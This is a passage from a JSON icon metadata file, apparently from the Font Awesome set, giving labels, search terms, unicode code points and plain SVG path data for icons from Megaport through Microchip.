        "path": "M99 414.3c1.1 5.7-2.3 11.1-8 12.3-5.4 1.1-10.9-2.3-12-8-1.1-5.4 2.3-11.1 7.7-12.3 5.4-1.2 11.1 2.3 12.3 8zm143.1 71.4c-6.3 4.6-8 13.4-3.7 20 4.6 6.6 13.4 8.3 20 3.7 6.3-4.6 8-13.4 3.4-20-4.2-6.5-13.1-8.3-19.7-3.7zm-86-462.3c6.3-1.4 10.3-7.7 8.9-14-1.1-6.6-7.4-10.6-13.7-9.1-6.3 1.4-10.3 7.7-9.1 14 1.4 6.6 7.6 10.6 13.9 9.1zM34.4 226.3c-10-6.9-23.7-4.3-30.6 6-6.9 10-4.3 24 5.7 30.9 10 7.1 23.7 4.6 30.6-5.7 6.9-10.4 4.3-24.1-5.7-31.2zm272-170.9c10.6-6.3 13.7-20 7.7-30.3-6.3-10.6-19.7-14-30-7.7s-13.7 20-7.4 30.6c6 10.3 19.4 13.7 29.7 7.4zm-191.1 58c7.7-5.4 9.4-16 4.3-23.7s-15.7-9.4-23.1-4.3c-7.7 5.4-9.4 16-4.3 23.7 5.1 7.8 15.6 9.5 23.1 4.3zm372.3 156c-7.4 1.7-12.3 9.1-10.6 16.9 1.4 7.4 8.9 12.3 16.3 10.6 7.4-1.4 12.3-8.9 10.6-16.6-1.5-7.4-8.9-12.3-16.3-10.9zm39.7-56.8c-1.1-5.7-6.6-9.1-12-8-5.7 1.1-9.1 6.9-8 12.6 1.1 5.4 6.6 9.1 12.3 8 5.4-1.5 9.1-6.9 7.7-12.6zM447 138.9c-8.6 6-10.6 17.7-4.9 26.3 5.7 8.6 17.4 10.6 26 4.9 8.3-6 10.3-17.7 4.6-26.3-5.7-8.7-17.4-10.9-25.7-4.9zm-6.3 139.4c26.3 43.1 15.1 100-26.3 129.1-17.4 12.3-37.1 17.7-56.9 17.1-12 47.1-69.4 64.6-105.1 32.6-1.1.9-2.6 1.7-3.7 2.9-39.1 27.1-92.3 17.4-119.4-22.3-9.7-14.3-14.6-30.6-15.1-46.9-65.4-10.9-90-94-41.1-139.7-28.3-46.9.6-107.4 53.4-114.9C151.6 70 234.1 38.6 290.1 82c67.4-22.3 136.3 29.4 130.9 101.1 41.1 12.6 52.8 66.9 19.7 95.2zm-70 74.3c-3.1-20.6-40.9-4.6-43.1-27.1-3.1-32 43.7-101.1 40-128-3.4-24-19.4-29.1-33.4-29.4-13.4-.3-16.9 2-21.4 4.6-2.9 1.7-6.6 4.9-11.7-.3-6.3-6-11.1-11.7-19.4-12.9-12.3-2-17.7 2-26.6 9.7-3.4 2.9-12 12.9-20 9.1-3.4-1.7-15.4-7.7-24-11.4-16.3-7.1-40 4.6-48.6 20-12.9 22.9-38 113.1-41.7 125.1-8.6 26.6 10.9 48.6 36.9 47.1 11.1-.6 18.3-4.6 25.4-17.4 4-7.4 41.7-107.7 44.6-112.6 2-3.4 8.9-8 14.6-5.1 5.7 3.1 6.9 9.4 6 15.1-1.1 9.7-28 70.9-28.9 77.7-3.4 22.9 26.9 26.6 38.6 4 3.7-7.1 45.7-92.6 49.4-98.3 4.3-6.3 7.4-8.3 11.7-8 3.1 0 8.3.9 7.1 10.9-1.4 9.4-35.1 72.3-38.9 87.7-4.6 20.6 6.6 41.4 24.9 50.6 11.4 5.7 62.5 15.7 58.5-11.1zm5.7 92.3c-10.3 7.4-12.9 22-5.7 32.6 7.1 10.6 21.4 13.1 32 6 10.6-7.4 13.1-22 6-32.6-7.4-10.6-21.7-13.5-32.3-6z"
      }
    },
    "free": ["brands"]
  },
  "megaport": {
    "changes": ["5.1.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f5a3",
    "label": "Megaport",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014469,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M214.5 209.6v66.2l33.5 33.5 33.3-33.3v-66.4l-33.4-33.4zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm145.1 414.4L367 441.6l-26-19.2v-65.5l-33.4-33.4-33.4 33.4v65.5L248 441.6l-26.1-19.2v-65.5l-33.4-33.4-33.5 33.4v65.5l-26.1 19.2-26.1-19.2v-87l59.5-59.5V188l59.5-59.5V52.9l26.1-19.2L274 52.9v75.6l59.5 59.5v87.6l59.7 59.7v87.1z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M214.5 209.6v66.2l33.5 33.5 33.3-33.3v-66.4l-33.4-33.4zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm145.1 414.4L367 441.6l-26-19.2v-65.5l-33.4-33.4-33.4 33.4v65.5L248 441.6l-26.1-19.2v-65.5l-33.4-33.4-33.5 33.4v65.5l-26.1 19.2-26.1-19.2v-87l59.5-59.5V188l59.5-59.5V52.9l26.1-19.2L274 52.9v75.6l59.5 59.5v87.6l59.7 59.7v87.1z"
      }
    },
    "free": ["brands"]
  },
  "memory": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f538"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["DIMM", "RAM", "hardware", "storage", "technology"]
    },
    "styles": ["solid"],
    "unicode": "f538",
    "label": "Memory",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767343,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 64C28.7 64 0 92.7 0 128v7.4c0 6.8 4.4 12.6 10.1 16.3C23.3 160.3 32 175.1 32 192s-8.7 31.7-21.9 40.3C4.4 236 0 241.8 0 248.6V320H576V248.6c0-6.8-4.4-12.6-10.1-16.3C552.7 223.7 544 208.9 544 192s8.7-31.7 21.9-40.3c5.7-3.7 10.1-9.5 10.1-16.3V128c0-35.3-28.7-64-64-64H64zM576 352H0v64c0 17.7 14.3 32 32 32H80V416c0-8.8 7.2-16 16-16s16 7.2 16 16v32h96V416c0-8.8 7.2-16 16-16s16 7.2 16 16v32h96V416c0-8.8 7.2-16 16-16s16 7.2 16 16v32h96V416c0-8.8 7.2-16 16-16s16 7.2 16 16v32h48c17.7 0 32-14.3 32-32V352zM192 160v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V160c0-17.7 14.3-32 32-32s32 14.3 32 32zm128 0v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V160c0-17.7 14.3-32 32-32s32 14.3 32 32zm128 0v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V160c0-17.7 14.3-32 32-32s32 14.3 32 32z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 64C28.7 64 0 92.7 0 128v7.4c0 6.8 4.4 12.6 10.1 16.3C23.3 160.3 32 175.1 32 192s-8.7 31.7-21.9 40.3C4.4 236 0 241.8 0 248.6V320H576V248.6c0-6.8-4.4-12.6-10.1-16.3C552.7 223.7 544 208.9 544 192s8.7-31.7 21.9-40.3c5.7-3.7 10.1-9.5 10.1-16.3V128c0-35.3-28.7-64-64-64H64zM576 352H0v64c0 17.7 14.3 32 32 32H80V416c0-8.8 7.2-16 16-16s16 7.2 16 16v32h96V416c0-8.8 7.2-16 16-16s16 7.2 16 16v32h96V416c0-8.8 7.2-16 16-16s16 7.2 16 16v32h96V416c0-8.8 7.2-16 16-16s16 7.2 16 16v32h48c17.7 0 32-14.3 32-32V352zM192 160v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V160c0-17.7 14.3-32 32-32s32 14.3 32 32zm128 0v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V160c0-17.7 14.3-32 32-32s32 14.3 32 32zm128 0v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V160c0-17.7 14.3-32 32-32s32 14.3 32 32z"
      }
    },
    "free": ["solid"]
  },
  "mendeley": {
    "changes": ["5.6.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f7b3",
    "label": "Mendeley",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M624.6 325.2c-12.3-12.4-29.7-19.2-48.4-17.2-43.3-1-49.7-34.9-37.5-98.8 22.8-57.5-14.9-131.5-87.4-130.8-77.4.7-81.7 82-130.9 82-48.1 0-54-81.3-130.9-82-72.9-.8-110.1 73.3-87.4 130.8 12.2 63.9 5.8 97.8-37.5 98.8-21.2-2.3-37 6.5-53 22.5-19.9 19.7-19.3 94.8 42.6 102.6 47.1 5.9 81.6-42.9 61.2-87.8-47.3-103.7 185.9-106.1 146.5-8.2-.1.1-.2.2-.3.4-26.8 42.8 6.8 97.4 58.8 95.2 52.1 2.1 85.4-52.6 58.8-95.2-.1-.2-.2-.3-.3-.4-39.4-97.9 193.8-95.5 146.5 8.2-4.6 10-6.7 21.3-5.7 33 4.9 53.4 68.7 74.1 104.9 35.2 17.8-14.8 23.1-65.6 0-88.3zm-303.9-19.1h-.6c-43.4 0-62.8-37.5-62.8-62.8 0-34.7 28.2-62.8 62.8-62.8h.6c34.7 0 62.8 28.1 62.8 62.8 0 25-19.2 62.8-62.8 62.8z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M624.6 325.2c-12.3-12.4-29.7-19.2-48.4-17.2-43.3-1-49.7-34.9-37.5-98.8 22.8-57.5-14.9-131.5-87.4-130.8-77.4.7-81.7 82-130.9 82-48.1 0-54-81.3-130.9-82-72.9-.8-110.1 73.3-87.4 130.8 12.2 63.9 5.8 97.8-37.5 98.8-21.2-2.3-37 6.5-53 22.5-19.9 19.7-19.3 94.8 42.6 102.6 47.1 5.9 81.6-42.9 61.2-87.8-47.3-103.7 185.9-106.1 146.5-8.2-.1.1-.2.2-.3.4-26.8 42.8 6.8 97.4 58.8 95.2 52.1 2.1 85.4-52.6 58.8-95.2-.1-.2-.2-.3-.3-.4-39.4-97.9 193.8-95.5 146.5 8.2-4.6 10-6.7 21.3-5.7 33 4.9 53.4 68.7 74.1 104.9 35.2 17.8-14.8 23.1-65.6 0-88.3zm-303.9-19.1h-.6c-43.4 0-62.8-37.5-62.8-62.8 0-34.7 28.2-62.8 62.8-62.8h.6c34.7 0 62.8 28.1 62.8 62.8 0 25-19.2 62.8-62.8 62.8z"
      }
    },
    "free": ["brands"]
  },
  "menorah": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f676"]
      }
    },
    "changes": ["5.3.0", "5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["candle", "hanukkah", "jewish", "judaism", "light"]
    },
    "styles": ["solid"],
    "unicode": "f676",
    "label": "Menorah",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767444,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M20.8 7.4C22.8 2.9 27.1 0 32 0s9.2 2.9 11.2 7.4L61.3 49.7c1.8 4.1 2.7 8.6 2.7 13.1V64c0 17.7-14.3 32-32 32S0 81.7 0 64V62.8c0-4.5 .9-8.9 2.7-13.1L20.8 7.4zm96 0C118.8 2.9 123.1 0 128 0s9.2 2.9 11.2 7.4l18.2 42.4c1.8 4.1 2.7 8.6 2.7 13.1V64c0 17.7-14.3 32-32 32s-32-14.3-32-32V62.8c0-4.5 .9-8.9 2.7-13.1L116.8 7.4zm77.8 42.4L212.8 7.4C214.8 2.9 219.1 0 224 0s9.2 2.9 11.2 7.4l18.2 42.4c1.8 4.1 2.7 8.6 2.7 13.1V64c0 17.7-14.3 32-32 32s-32-14.3-32-32V62.8c0-4.5 .9-8.9 2.7-13.1zM308.8 7.4C310.8 2.9 315.1 0 320 0s9.2 2.9 11.2 7.4l18.2 42.4c1.8 4.1 2.7 8.6 2.7 13.1V64c0 17.7-14.3 32-32 32s-32-14.3-32-32V62.8c0-4.5 .9-8.9 2.7-13.1L308.8 7.4zm77.8 42.4L404.8 7.4C406.8 2.9 411.1 0 416 0s9.2 2.9 11.2 7.4l18.2 42.4c1.8 4.1 2.7 8.6 2.7 13.1V64c0 17.7-14.3 32-32 32s-32-14.3-32-32V62.8c0-4.5 .9-8.9 2.7-13.1zM500.8 7.4C502.8 2.9 507.1 0 512 0s9.2 2.9 11.2 7.4l18.2 42.4c1.8 4.1 2.7 8.6 2.7 13.1V64c0 17.7-14.3 32-32 32s-32-14.3-32-32V62.8c0-4.5 .9-8.9 2.7-13.1L500.8 7.4zm77.8 42.4L596.8 7.4C598.8 2.9 603.1 0 608 0s9.2 2.9 11.2 7.4l18.2 42.4c1.8 4.1 2.7 8.6 2.7 13.1V64c0 17.7-14.3 32-32 32s-32-14.3-32-32V62.8c0-4.5 .9-8.9 2.7-13.1zM32 128c17.7 0 32 14.3 32 32V288c0 17.7 14.3 32 32 32H288V160c0-17.7 14.3-32 32-32s32 14.3 32 32V320H544c17.7 0 32-14.3 32-32V160c0-17.7 14.3-32 32-32s32 14.3 32 32V288c0 53-43 96-96 96H352v64H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H320 160c-17.7 0-32-14.3-32-32s14.3-32 32-32H288V384H96c-53 0-96-43-96-96V160c0-17.7 14.3-32 32-32zm96 0c17.7 0 32 14.3 32 32v96 32H96V256 160c0-17.7 14.3-32 32-32zm96 0c17.7 0 32 14.3 32 32v96 32H192V256 160c0-17.7 14.3-32 32-32zm192 0c17.7 0 32 14.3 32 32v96 32H384V256 160c0-17.7 14.3-32 32-32zm96 0c17.7 0 32 14.3 32 32v96 32H480V256 160c0-17.7 14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M20.8 7.4C22.8 2.9 27.1 0 32 0s9.2 2.9 11.2 7.4L61.3 49.7c1.8 4.1 2.7 8.6 2.7 13.1V64c0 17.7-14.3 32-32 32S0 81.7 0 64V62.8c0-4.5 .9-8.9 2.7-13.1L20.8 7.4zm96 0C118.8 2.9 123.1 0 128 0s9.2 2.9 11.2 7.4l18.2 42.4c1.8 4.1 2.7 8.6 2.7 13.1V64c0 17.7-14.3 32-32 32s-32-14.3-32-32V62.8c0-4.5 .9-8.9 2.7-13.1L116.8 7.4zm77.8 42.4L212.8 7.4C214.8 2.9 219.1 0 224 0s9.2 2.9 11.2 7.4l18.2 42.4c1.8 4.1 2.7 8.6 2.7 13.1V64c0 17.7-14.3 32-32 32s-32-14.3-32-32V62.8c0-4.5 .9-8.9 2.7-13.1zM308.8 7.4C310.8 2.9 315.1 0 320 0s9.2 2.9 11.2 7.4l18.2 42.4c1.8 4.1 2.7 8.6 2.7 13.1V64c0 17.7-14.3 32-32 32s-32-14.3-32-32V62.8c0-4.5 .9-8.9 2.7-13.1L308.8 7.4zm77.8 42.4L404.8 7.4C406.8 2.9 411.1 0 416 0s9.2 2.9 11.2 7.4l18.2 42.4c1.8 4.1 2.7 8.6 2.7 13.1V64c0 17.7-14.3 32-32 32s-32-14.3-32-32V62.8c0-4.5 .9-8.9 2.7-13.1zM500.8 7.4C502.8 2.9 507.1 0 512 0s9.2 2.9 11.2 7.4l18.2 42.4c1.8 4.1 2.7 8.6 2.7 13.1V64c0 17.7-14.3 32-32 32s-32-14.3-32-32V62.8c0-4.5 .9-8.9 2.7-13.1L500.8 7.4zm77.8 42.4L596.8 7.4C598.8 2.9 603.1 0 608 0s9.2 2.9 11.2 7.4l18.2 42.4c1.8 4.1 2.7 8.6 2.7 13.1V64c0 17.7-14.3 32-32 32s-32-14.3-32-32V62.8c0-4.5 .9-8.9 2.7-13.1zM32 128c17.7 0 32 14.3 32 32V288c0 17.7 14.3 32 32 32H288V160c0-17.7 14.3-32 32-32s32 14.3 32 32V320H544c17.7 0 32-14.3 32-32V160c0-17.7 14.3-32 32-32s32 14.3 32 32V288c0 53-43 96-96 96H352v64H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H320 160c-17.7 0-32-14.3-32-32s14.3-32 32-32H288V384H96c-53 0-96-43-96-96V160c0-17.7 14.3-32 32-32zm96 0c17.7 0 32 14.3 32 32v96 32H96V256 160c0-17.7 14.3-32 32-32zm96 0c17.7 0 32 14.3 32 32v96 32H192V256 160c0-17.7 14.3-32 32-32zm192 0c17.7 0 32 14.3 32 32v96 32H384V256 160c0-17.7 14.3-32 32-32zm96 0c17.7 0 32 14.3 32 32v96 32H480V256 160c0-17.7 14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "mercury": {
    "aliases": {
      "unicodes": {
        "composite": ["263f"],
        "secondary": ["10f223"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Mercury", "gender", "hybrid", "transgender"]
    },
    "styles": ["solid"],
    "unicode": "f223",
    "label": "Mercury",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M72.1 7C85.8-4 106-1.8 117 12c17.6 22 44.7 36 75 36s57.3-14 75-36c11.1-13.8 31.2-16 45-5s16 31.2 5 45c-7.8 9.7-16.6 18.4-26.4 26.1C337.3 109.7 368 163.3 368 224c0 89.1-66.2 162.7-152 174.4V424h32c13.3 0 24 10.7 24 24s-10.7 24-24 24H216v16c0 13.3-10.7 24-24 24s-24-10.7-24-24V472H136c-13.3 0-24-10.7-24-24s10.7-24 24-24h32V398.4C82.2 386.7 16 313.1 16 224c0-60.7 30.7-114.3 77.5-145.9C83.7 70.5 74.9 61.7 67.1 52c-11.1-13.8-8.8-33.9 5-45zM80 224a112 112 0 1 0 224 0A112 112 0 1 0 80 224z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M72.1 7C85.8-4 106-1.8 117 12c17.6 22 44.7 36 75 36s57.3-14 75-36c11.1-13.8 31.2-16 45-5s16 31.2 5 45c-7.8 9.7-16.6 18.4-26.4 26.1C337.3 109.7 368 163.3 368 224c0 89.1-66.2 162.7-152 174.4V424h32c13.3 0 24 10.7 24 24s-10.7 24-24 24H216v16c0 13.3-10.7 24-24 24s-24-10.7-24-24V472H136c-13.3 0-24-10.7-24-24s10.7-24 24-24h32V398.4C82.2 386.7 16 313.1 16 224c0-60.7 30.7-114.3 77.5-145.9C83.7 70.5 74.9 61.7 67.1 52c-11.1-13.8-8.8-33.9 5-45zM80 224a112 112 0 1 0 224 0A112 112 0 1 0 80 224z"
      }
    },
    "free": ["solid"]
  },
  "message": {
    "aliases": {
      "names": ["comment-alt"],
      "unicodes": {
        "secondary": ["10f27a"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bubble",
        "chat",
        "commenting",
        "conversation",
        "feedback",
        "message",
        "note",
        "notification",
        "sms",
        "speech",
        "texting"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f27a",
    "label": "Message",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767393,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V352c0 35.3 28.7 64 64 64h96v80c0 6.1 3.4 11.6 8.8 14.3s11.9 2.1 16.8-1.5L309.3 416H448c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V352c0 35.3 28.7 64 64 64h96v80c0 6.1 3.4 11.6 8.8 14.3s11.9 2.1 16.8-1.5L309.3 416H448c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H64z"
      },
      "regular": {
        "last_modified": 1684767393,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M160 368c26.5 0 48 21.5 48 48v16l72.5-54.4c8.3-6.2 18.4-9.6 28.8-9.6H448c8.8 0 16-7.2 16-16V64c0-8.8-7.2-16-16-16H64c-8.8 0-16 7.2-16 16V352c0 8.8 7.2 16 16 16h96zm48 124l-.2 .2-5.1 3.8-17.1 12.8c-4.8 3.6-11.3 4.2-16.8 1.5s-8.8-8.2-8.8-14.3V474.7v-6.4V468v-4V416H112 64c-35.3 0-64-28.7-64-64V64C0 28.7 28.7 0 64 0H448c35.3 0 64 28.7 64 64V352c0 35.3-28.7 64-64 64H309.3L208 492z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M160 368c26.5 0 48 21.5 48 48v16l72.5-54.4c8.3-6.2 18.4-9.6 28.8-9.6H448c8.8 0 16-7.2 16-16V64c0-8.8-7.2-16-16-16H64c-8.8 0-16 7.2-16 16V352c0 8.8 7.2 16 16 16h96zm48 124l-.2 .2-5.1 3.8-17.1 12.8c-4.8 3.6-11.3 4.2-16.8 1.5s-8.8-8.2-8.8-14.3V474.7v-6.4V468v-4V416H112 64c-35.3 0-64-28.7-64-64V64C0 28.7 28.7 0 64 0H448c35.3 0 64 28.7 64 64V352c0 35.3-28.7 64-64 64H309.3L208 492z"
      }
    },
    "free": ["regular", "solid"]
  },
  "meta": {
    "changes": ["6.0.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e49b",
    "label": "Meta",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M640 317.9C640 409.2 600.6 466.4 529.7 466.4C467.1 466.4 433.9 431.8 372.8 329.8L341.4 277.2C333.1 264.7 326.9 253 320.2 242.2C300.1 276 273.1 325.2 273.1 325.2C206.1 441.8 168.5 466.4 116.2 466.4C43.42 466.4 0 409.1 0 320.5C0 177.5 79.78 42.4 183.9 42.4C234.1 42.4 277.7 67.08 328.7 131.9C365.8 81.8 406.8 42.4 459.3 42.4C558.4 42.4 640 168.1 640 317.9H640zM287.4 192.2C244.5 130.1 216.5 111.7 183 111.7C121.1 111.7 69.22 217.8 69.22 321.7C69.22 370.2 87.7 397.4 118.8 397.4C149 397.4 167.8 378.4 222 293.6C222 293.6 246.7 254.5 287.4 192.2V192.2zM531.2 397.4C563.4 397.4 578.1 369.9 578.1 322.5C578.1 198.3 523.8 97.08 454.9 97.08C421.7 97.08 393.8 123 360 175.1C369.4 188.9 379.1 204.1 389.3 220.5L426.8 282.9C485.5 377 500.3 397.4 531.2 397.4L531.2 397.4z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M640 317.9C640 409.2 600.6 466.4 529.7 466.4C467.1 466.4 433.9 431.8 372.8 329.8L341.4 277.2C333.1 264.7 326.9 253 320.2 242.2C300.1 276 273.1 325.2 273.1 325.2C206.1 441.8 168.5 466.4 116.2 466.4C43.42 466.4 0 409.1 0 320.5C0 177.5 79.78 42.4 183.9 42.4C234.1 42.4 277.7 67.08 328.7 131.9C365.8 81.8 406.8 42.4 459.3 42.4C558.4 42.4 640 168.1 640 317.9H640zM287.4 192.2C244.5 130.1 216.5 111.7 183 111.7C121.1 111.7 69.22 217.8 69.22 321.7C69.22 370.2 87.7 397.4 118.8 397.4C149 397.4 167.8 378.4 222 293.6C222 293.6 246.7 254.5 287.4 192.2V192.2zM531.2 397.4C563.4 397.4 578.1 369.9 578.1 322.5C578.1 198.3 523.8 97.08 454.9 97.08C421.7 97.08 393.8 123 360 175.1C369.4 188.9 379.1 204.1 389.3 220.5L426.8 282.9C485.5 377 500.3 397.4 531.2 397.4L531.2 397.4z"
      }
    },
    "free": ["brands"]
  },
  "meteor": {
    "aliases": {
      "unicodes": {
        "composite": ["2604"],
        "secondary": ["10f753"]
      }
    },
    "changes": ["5.5.0", "5.12.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["armageddon", "asteroid", "comet", "shooting star", "space"]
    },
    "styles": ["solid"],
    "unicode": "f753",
    "label": "Meteor",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M493.7 .9L299.4 75.6l2.3-29.3c1-12.8-12.8-21.5-24-15.1L101.3 133.4C38.6 169.7 0 236.6 0 309C0 421.1 90.9 512 203 512c72.4 0 139.4-38.6 175.7-101.3L480.8 234.3c6.5-11.1-2.2-25-15.1-24l-29.3 2.3L511.1 18.3c.6-1.5 .9-3.2 .9-4.8C512 6 506 0 498.5 0c-1.7 0-3.3 .3-4.8 .9zM192 192a128 128 0 1 1 0 256 128 128 0 1 1 0-256zm0 96a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm16 96a16 16 0 1 0 0-32 16 16 0 1 0 0 32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M493.7 .9L299.4 75.6l2.3-29.3c1-12.8-12.8-21.5-24-15.1L101.3 133.4C38.6 169.7 0 236.6 0 309C0 421.1 90.9 512 203 512c72.4 0 139.4-38.6 175.7-101.3L480.8 234.3c6.5-11.1-2.2-25-15.1-24l-29.3 2.3L511.1 18.3c.6-1.5 .9-3.2 .9-4.8C512 6 506 0 498.5 0c-1.7 0-3.3 .3-4.8 .9zM192 192a128 128 0 1 1 0 256 128 128 0 1 1 0-256zm0 96a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm16 96a16 16 0 1 0 0-32 16 16 0 1 0 0 32z"
      }
    },
    "free": ["solid"]
  },
  "microblog": {
    "changes": ["5.12.0", "5.14.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e01a",
    "label": "Micro.blog",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M399.36,362.23c29.49-34.69,47.1-78.34,47.1-125.79C446.46,123.49,346.86,32,224,32S1.54,123.49,1.54,236.44,101.14,440.87,224,440.87a239.28,239.28,0,0,0,79.44-13.44,7.18,7.18,0,0,1,8.12,2.56c18.58,25.09,47.61,42.74,79.89,49.92a4.42,4.42,0,0,0,5.22-3.43,4.37,4.37,0,0,0-.85-3.62,87,87,0,0,1,3.69-110.69ZM329.52,212.4l-57.3,43.49L293,324.75a6.5,6.5,0,0,1-9.94,7.22L224,290.92,164.94,332a6.51,6.51,0,0,1-9.95-7.22l20.79-68.86-57.3-43.49a6.5,6.5,0,0,1,3.8-11.68l71.88-1.51,23.66-67.92a6.5,6.5,0,0,1,12.28,0l23.66,67.92,71.88,1.51a6.5,6.5,0,0,1,3.88,11.68Z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M399.36,362.23c29.49-34.69,47.1-78.34,47.1-125.79C446.46,123.49,346.86,32,224,32S1.54,123.49,1.54,236.44,101.14,440.87,224,440.87a239.28,239.28,0,0,0,79.44-13.44,7.18,7.18,0,0,1,8.12,2.56c18.58,25.09,47.61,42.74,79.89,49.92a4.42,4.42,0,0,0,5.22-3.43,4.37,4.37,0,0,0-.85-3.62,87,87,0,0,1,3.69-110.69ZM329.52,212.4l-57.3,43.49L293,324.75a6.5,6.5,0,0,1-9.94,7.22L224,290.92,164.94,332a6.51,6.51,0,0,1-9.95-7.22l20.79-68.86-57.3-43.49a6.5,6.5,0,0,1,3.8-11.68l71.88-1.51,23.66-67.92a6.5,6.5,0,0,1,12.28,0l23.66,67.92,71.88,1.51a6.5,6.5,0,0,1,3.88,11.68Z"
      }
    },
    "free": ["brands"]
  },
  "microchip": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f2db"]
      }
    },
    "changes": ["4.7.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cpu", "hardware", "processor", "technology"]
    },
    "styles": ["solid"],
    "unicode": "f2db",
    "label": "Microchip",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767343,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M176 24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64c-35.3 0-64 28.7-64 64H24c-13.3 0-24 10.7-24 24s10.7 24 24 24H64v56H24c-13.3 0-24 10.7-24 24s10.7 24 24 24H64v56H24c-13.3 0-24 10.7-24 24s10.7 24 24 24H64c0 35.3 28.7 64 64 64v40c0 13.3 10.7 24 24 24s24-10.7 24-24V448h56v40c0 13.3 10.7 24 24 24s24-10.7 24-24V448h56v40c0 13.3 10.7 24 24 24s24-10.7 24-24V448c35.3 0 64-28.7 64-64h40c13.3 0 24-10.7 24-24s-10.7-24-24-24H448V280h40c13.3 0 24-10.7 24-24s-10.7-24-24-24H448V176h40c13.3 0 24-10.7 24-24s-10.7-24-24-24H448c0-35.3-28.7-64-64-64V24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64H280V24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64H176V24zM160 128H352c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32H160c-17.7 